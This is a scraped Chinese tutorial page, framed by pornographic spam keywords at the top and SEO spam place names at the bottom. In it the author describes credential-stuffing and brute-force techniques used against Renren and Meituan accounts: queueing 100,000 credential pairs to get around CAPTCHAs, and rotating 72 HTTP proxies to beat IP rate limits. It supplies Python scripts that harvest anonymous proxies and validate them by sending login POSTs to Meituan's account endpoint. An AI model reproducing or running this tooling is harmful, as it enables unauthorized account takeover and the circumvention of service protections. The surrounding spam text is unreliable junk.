国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > Python > 正文

批量獲取及驗證HTTP代理的Python腳本

2019-11-25 16:14:01
字體:
供稿:網(wǎng)友

HTTP暴力破解、撞庫,有一些慣用的技巧,比如:

1. 在掃號人人網(wǎng)時,我遇到單個賬號錯誤兩次,強制要求輸入驗證碼,而對方并未實施IP策略。

我采用維護10萬(用戶名,密碼) 隊列的方式來繞過驗證碼。具體的做法是,當某個用戶名、密碼組合遇到需要驗證碼,就把該破解序列掛起,放到隊列尾部等待下次測試,繼續(xù)破解其他賬號密碼。

這樣就可以保證2/3的時間都在進行正常破解和掃號。

2. 在破解美團網(wǎng)某系統(tǒng)賬號時,我遇到了單個IP訪問有一定限制,請求頻率不可過快。于是我掛了72個 HTTP代理來解決這個問題。 看似每個IP的請求都正常,但其實從整個程序上看,效率還是挺可觀的。

本篇我發(fā)出自己抓HTTP的腳本片段,其實只有幾行。匿名代理是從這里抓取的:http://www.xici.net.co/nn/

首先獲取代理列表 :

from bs4 import BeautifulSoupimport urllib2of = open('proxy.txt' , 'w')for page in range(1, 160):  html_doc = urllib2.urlopen('http://www.xici.net.co/nn/' + str(page) ).read()  soup = BeautifulSoup(html_doc)  trs = soup.find('table', id='ip_list').find_all('tr')  for tr in trs[1:]:    tds = tr.find_all('td')    ip = tds[1].text.strip()    port = tds[2].text.strip()    protocol = tds[5].text.strip()    if protocol == 'HTTP' or protocol == 'HTTPS':      of.write('%s=%s:%s/n' % (protocol, ip, port) )      print '%s=%s:%s' % (protocol, ip, port)of.close()

接著驗證代理是否可用,因為我是用于破解美團網(wǎng)系統(tǒng)的賬號,因此用了美團的頁面標記:

#encoding=gbkimport httplibimport timeimport urllibimport threadinginFile = open('proxy.txt', 'r')outFile = open('available.txt', 'w')lock = threading.Lock()def test():  while True:    lock.acquire()    line = inFile.readline().strip()    lock.release()    if len(line) == 0: break    protocol, proxy = line.split('=')    headers = {'Content-Type': 'application/x-www-form-urlencoded',      'Cookie': ''}    try:      conn = httplib.HTTPConnection(proxy, timeout=3.0)      conn.request(method='POST', url='http://e.meituan.com/m/account/login', body='login=ttttttttttttttttttttttttttttttttttttt&password=bb&remember_username=1&auto_login=1', headers=headers )      res = conn.getresponse()      ret_headers = str( res.getheaders() )       html_doc = res.read().decode('utf-8')      print html_doc.encode('gbk')      if ret_headers.find(u'/m/account/login/') > 0:        lock.acquire()        print 'add proxy', proxy        outFile.write(proxy + '/n')        lock.release()      else:        print '.',    except Exception, e:      print eall_thread = []for i in range(50):  t = threading.Thread(target=test)  all_thread.append(t)  t.start()  for t in all_thread:  t.join()inFile.close()outFile.close()

發(fā)表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發(fā)表
主站蜘蛛池模板: 崇明县| 宁强县| 定西市| 隆昌县| 海城市| 浑源县| 琼结县| 定日县| 乐昌市| 南川市| 蒙自县| 全州县| 泾川县| 根河市| 依安县| 当涂县| 汉源县| 阿巴嘎旗| 江西省| 乐陵市| 宣化县| 青河县| 石棉县| 石泉县| 兰西县| 蒙自县| 潞西市| 前郭尔| 邻水| 福建省| 永顺县| 西平县| 普宁市| 阳原县| 青海省| 陕西省| 如皋市| 会宁县| 三门县| 遂宁市| 河津市|